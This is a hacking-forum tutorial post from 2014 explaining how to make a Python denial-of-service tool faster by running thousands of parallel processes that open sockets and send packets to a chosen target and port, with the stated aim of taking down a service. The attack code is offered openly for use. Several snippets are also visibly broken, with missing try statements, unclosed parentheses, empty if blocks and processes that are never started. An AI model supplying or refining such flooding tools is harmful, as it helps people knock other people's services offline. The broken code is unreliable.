Tutorial PyDoSing extended 1 - Upgrading your python DOS tool PARALLELISM - Printable Version

+- Sinisterly (
+-- Forum: Coding (
+--- Forum: Python (
+--- Thread: Tutorial PyDoSing extended 1 - Upgrading your python DOS tool PARALLELISM (/Thread-Tutorial-PyDoSing-extended-1-Upgrading-your-python-DOS-tool-PARALLELISM)

PyDoSing extended 1 - Upgrading your python DOS tool PARALLELISM - 3SidedSquare - 04-13-2014

If you haven't already, check out Duubz's tutorial on making a very basic DoS tool in python:

However, the tutorial creates a very weak DoS tool, i'll show you how to upgrade it in this one.

Introducing Parallelism:
Parallelism describes one programming doing multiple (parallel) calculations at once, and as such requires multiple processors. (Not to be confused with multithreading, when one processor quickly switches between tasks). The reason this is necessary, is because python's sockets, as made in the previous tutorial, will wait for a response from the target before sending another packet. In the mean time, our "attacking" computer is just sitting by twiddling it's fans. If we want to take down a service, we don't want to wait for a packet to come back, we just want to send everything we can as quickly as we can.

Using parallelism:
The following code is taken from the python reference here
from multiprocessing import Process, Queue

def f(q):
    q.put([42, None, 'hello'])

if __name__ == '__main__':
    q = Queue()
    p = Process(target=f, args=(q,))
    print(q.get())    # prints "[42, None, 'hello']"

As you can see, you need a function to be the "target" of the new process, and can pass it arguments, which is all we really care about, since we're making a DoS tool. To make sure you understand how multi processing works, write a script that uses one processes to check for even factors of 1000, and another process to check for odd factors of 1000. There are many solutions, my answer is below.

from multiprocessing import Process, Queue

def factorby2(start, q):
    num = start
    while(num < 1000):
        if(1000 % num == 0):
        num += 2

if __name__ == '__main__':
    queue = Queue()
    p = Process(target=factorby2,args=(1,queue,)) #Creating a factorby2 with a start of 0 will not work
    p.start()                                     #Because you are not allowed to use the remainder/modulus(%)
    p2 = Process(target=factorby2,args=(2,queue,))#Operator with 0 on the other end
    while(not queue.empty()):

To DoS, we need to do something similar, but we don't even need to worry about returning anything. (We trust that the packets get sent, and don't really care about it if they error out). Taking the code from Duubz's tutorial, we can modify it to send DoS attacks in parallel.

##import socket, Process, and Random
##Get a target, and port to attack
def dos(target, port):
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).connect((target,int(port)))
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).send(packet)
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).sendto(packet,(target,int(port))
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).send(packet);
    except error: pass

if __name__ == '__main__':
    for i in range(0,(random.randint(5000,50000))):
        p = Process(target=dos,args=(target,port,))

I put a lot of work into writing these tutorials! If you copy/paste this somewhere else, or see it copy/pasted somewhere else, please link back here!
Thanks for reading! Comments, criticisms, ect. below!

Next -